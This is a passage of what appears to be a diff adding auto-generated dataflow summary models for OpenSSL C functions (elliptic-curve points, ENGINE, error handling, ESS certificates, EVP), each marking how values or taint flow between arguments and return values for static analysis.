*,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[2]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_point2bn", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_point2buf", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *)", "", "Argument[2]", "Argument[**3]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_point2hex", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_point2oct", "(const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINT_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*0].Field[**field].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_set_Jprojective_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4].Field[*neg]", "Argument[*1].Field[**Z].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GF2m", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GF2m", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GF2m", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINT_set_compressed_coordinates_GFp", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_POINTs_make_affine", "(const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[**5]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*2]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "EC_POINTs_mul", "(const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *)", "", "Argument[*5]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EC_PRIVATEKEY_free", "(EC_PRIVATEKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EC_PRIVATEKEY_free", "(EC_PRIVATEKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EC_ec_pre_comp_dup", "(EC_PRE_COMP *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_ec_pre_comp_dup", "(EC_PRE_COMP *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_nistz256_pre_comp_dup", "(NISTZ256_PRE_COMP *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_nistz256_pre_comp_dup", "(NISTZ256_PRE_COMP *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EDIPARTYNAME_free", "(EDIPARTYNAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EDIPARTYNAME_free", "(EDIPARTYNAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ENGINE_add", "(ENGINE *)", "", "Argument[*0]", "Argument[*0].Field[**prev].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_add", "(ENGINE *)", "", "Argument[0]", "Argument[*0].Field[**prev].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_cmd_is_executable", "(ENGINE *,int)", "", "Argument[*0].Field[*cmd_defns]", "Argument[*0].Field[**cmd_defns]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_ctrl", "(ENGINE *,int,long,void *,..(*)(..))", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl", "(ENGINE *,int,long,void *,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd", "(ENGINE *,const char *,long,void *,..(*)(..),int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd", "(ENGINE *,const char *,long,void *,..(*)(..),int)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd_string", "(ENGINE *,const char *,const char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ENGINE_ctrl_cmd_string", "(ENGINE *,const char *,const char *,int)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_DH", "(const ENGINE *)", "", "Argument[*0].Field[**dh_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_DH", "(const ENGINE *)", "", "Argument[*0].Field[*dh_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_DSA", "(const ENGINE *)", "", "Argument[*0].Field[**dsa_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_DSA", "(const ENGINE *)", "", "Argument[*0].Field[*dsa_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_EC", "(const ENGINE *)", "", "Argument[*0].Field[**ec_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_EC", "(const ENGINE *)", "", "Argument[*0].Field[*ec_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RAND", "(const ENGINE *)", "", "Argument[*0].Field[**rand_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RAND", "(const ENGINE *)", "", "Argument[*0].Field[*rand_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RSA", "(const ENGINE *)", "", "Argument[*0].Field[**rsa_meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_RSA", "(const ENGINE *)", "", "Argument[*0].Field[*rsa_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_ciphers", "(const ENGINE *)", "", "Argument[*0].Field[*ciphers]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_cmd_defns", "(const ENGINE *)", "", "Argument[*0].Field[**cmd_defns]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_cmd_defns", "(const ENGINE *)", "", "Argument[*0].Field[*cmd_defns]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_ctrl_function", "(const ENGINE *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_destroy_function", "(const ENGINE *)", "", "Argument[*0].Field[*destroy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_digests", "(const ENGINE *)", "", "Argument[*0].Field[*digests]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_ex_data", "(const ENGINE *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_get_finish_function", "(const ENGINE *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_flags", "(const ENGINE *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_id", "(const ENGINE *)", "", "Argument[*0].Field[**id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_id", "(const ENGINE *)", "", "Argument[*0].Field[*id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_init_function", "(const ENGINE *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_load_privkey_function", "(const ENGINE *)", "", "Argument[*0].Field[*load_privkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_load_pubkey_function", "(const ENGINE *)", "", "Argument[*0].Field[*load_pubkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_name", "(const ENGINE *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_name", "(const ENGINE *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_next", "(ENGINE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_next", "(ENGINE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_pkey_asn1_meths", "(const ENGINE *)", "", "Argument[*0].Field[*pkey_asn1_meths]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_pkey_meths", "(const ENGINE *)", "", "Argument[*0].Field[*pkey_meths]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_get_prev", "(ENGINE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_prev", "(ENGINE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ENGINE_get_ssl_client_cert_function", "(const ENGINE *)", "", "Argument[*0].Field[*load_ssl_client_cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DH", "(ENGINE *,const DH_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**dh_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DH", "(ENGINE *,const DH_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*dh_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DSA", "(ENGINE *,const DSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**dsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_DSA", "(ENGINE *,const DSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*dsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_EC", "(ENGINE *,const EC_KEY_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**ec_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_EC", "(ENGINE *,const EC_KEY_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*ec_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RAND", "(ENGINE *,const RAND_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**rand_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RAND", "(ENGINE *,const RAND_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*rand_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RSA", "(ENGINE *,const RSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**rsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_RSA", "(ENGINE *,const RSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*rsa_meth]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_ciphers", "(ENGINE *,ENGINE_CIPHERS_PTR)", "", "Argument[1]", "Argument[*0].Field[*ciphers]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_cmd_defns", "(ENGINE *,const ENGINE_CMD_DEFN *)", "", "Argument[*1]", "Argument[*0].Field[**cmd_defns]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_cmd_defns", "(ENGINE *,const ENGINE_CMD_DEFN *)", "", "Argument[1]", "Argument[*0].Field[*cmd_defns]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_ctrl_function", "(ENGINE *,ENGINE_CTRL_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_destroy_function", "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*destroy]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_digests", "(ENGINE *,ENGINE_DIGESTS_PTR)", "", "Argument[1]", "Argument[*0].Field[*digests]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_finish_function", "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_flags", "(ENGINE *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_id", "(ENGINE *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**id]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_id", "(ENGINE *,const char *)", "", "Argument[1]", "Argument[*0].Field[*id]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_init_function", "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_load_privkey_function", "(ENGINE *,ENGINE_LOAD_KEY_PTR)", "", "Argument[1]", "Argument[*0].Field[*load_privkey]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_load_pubkey_function", "(ENGINE *,ENGINE_LOAD_KEY_PTR)", "", "Argument[1]", "Argument[*0].Field[*load_pubkey]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_load_ssl_client_cert_function", "(ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR)", "", "Argument[1]", "Argument[*0].Field[*load_ssl_client_cert]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_name", "(ENGINE *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_name", "(ENGINE *,const char *)", "", "Argument[1]", "Argument[*0].Field[*name]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_pkey_asn1_meths", "(ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR)", "", "Argument[1]", "Argument[*0].Field[*pkey_asn1_meths]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_set_pkey_meths", "(ENGINE *,ENGINE_PKEY_METHS_PTR)", "", "Argument[1]", "Argument[*0].Field[*pkey_meths]", "value", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_DH", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_DSA", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_EC", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_RAND", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_RSA", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_ciphers", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_digests", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_pkey_asn1_meths", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ENGINE_unregister_pkey_meths", "(ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_add_error_vdata", "(int,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ERR_error_string", "(unsigned long,char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ERR_error_string", "(unsigned long,char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ERR_get_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_line", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_get_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_load_strings", "(int,ERR_STRING_DATA *)", "", "Argument[0]", "Argument[*1].Field[*error]", "taint", "dfc-generated"] + - ["", "", True, "ERR_load_strings", "(int,ERR_STRING_DATA *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ERR_load_strings_const", "(const ERR_STRING_DATA *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_data", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_func", "(const char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_line", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_all", "(const char **,int *,const char **,const char **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_data", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_func", "(const char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_line", "(const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ERR_peek_last_error_line_data", "(const char **,int *,const char **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ERR_unload_strings", "(int,ERR_STRING_DATA *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ERR_vset_error", "(int,int,const char *,va_list)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_dup", "(const ESS_CERT_ID_V2 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_free", "(ESS_CERT_ID_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_V2_free", "(ESS_CERT_ID_V2 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_dup", "(const ESS_CERT_ID *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_CERT_ID_free", "(ESS_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_CERT_ID_free", "(ESS_CERT_ID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_dup", "(const ESS_ISSUER_SERIAL *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_free", "(ESS_ISSUER_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_ISSUER_SERIAL_free", "(ESS_ISSUER_SERIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_dup", "(const ESS_SIGNING_CERT_V2 *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_free", "(ESS_SIGNING_CERT_V2 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_V2_free", "(ESS_SIGNING_CERT_V2 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_dup", "(const ESS_SIGNING_CERT *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_free", "(ESS_SIGNING_CERT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ESS_SIGNING_CERT_free", "(ESS_SIGNING_CERT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_description", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_description", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_name", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_name", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_provider", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_get0_provider", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_ASYM_CIPHER_names_do_all", "(const EVP_ASYM_CIPHER *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_BytesToKey", "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)", "", "Argument[*0].Field[*key_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_BytesToKey", "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "EVP_BytesToKey", "(const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_buf_noconst", "(EVP_CIPHER_CTX *)", "", 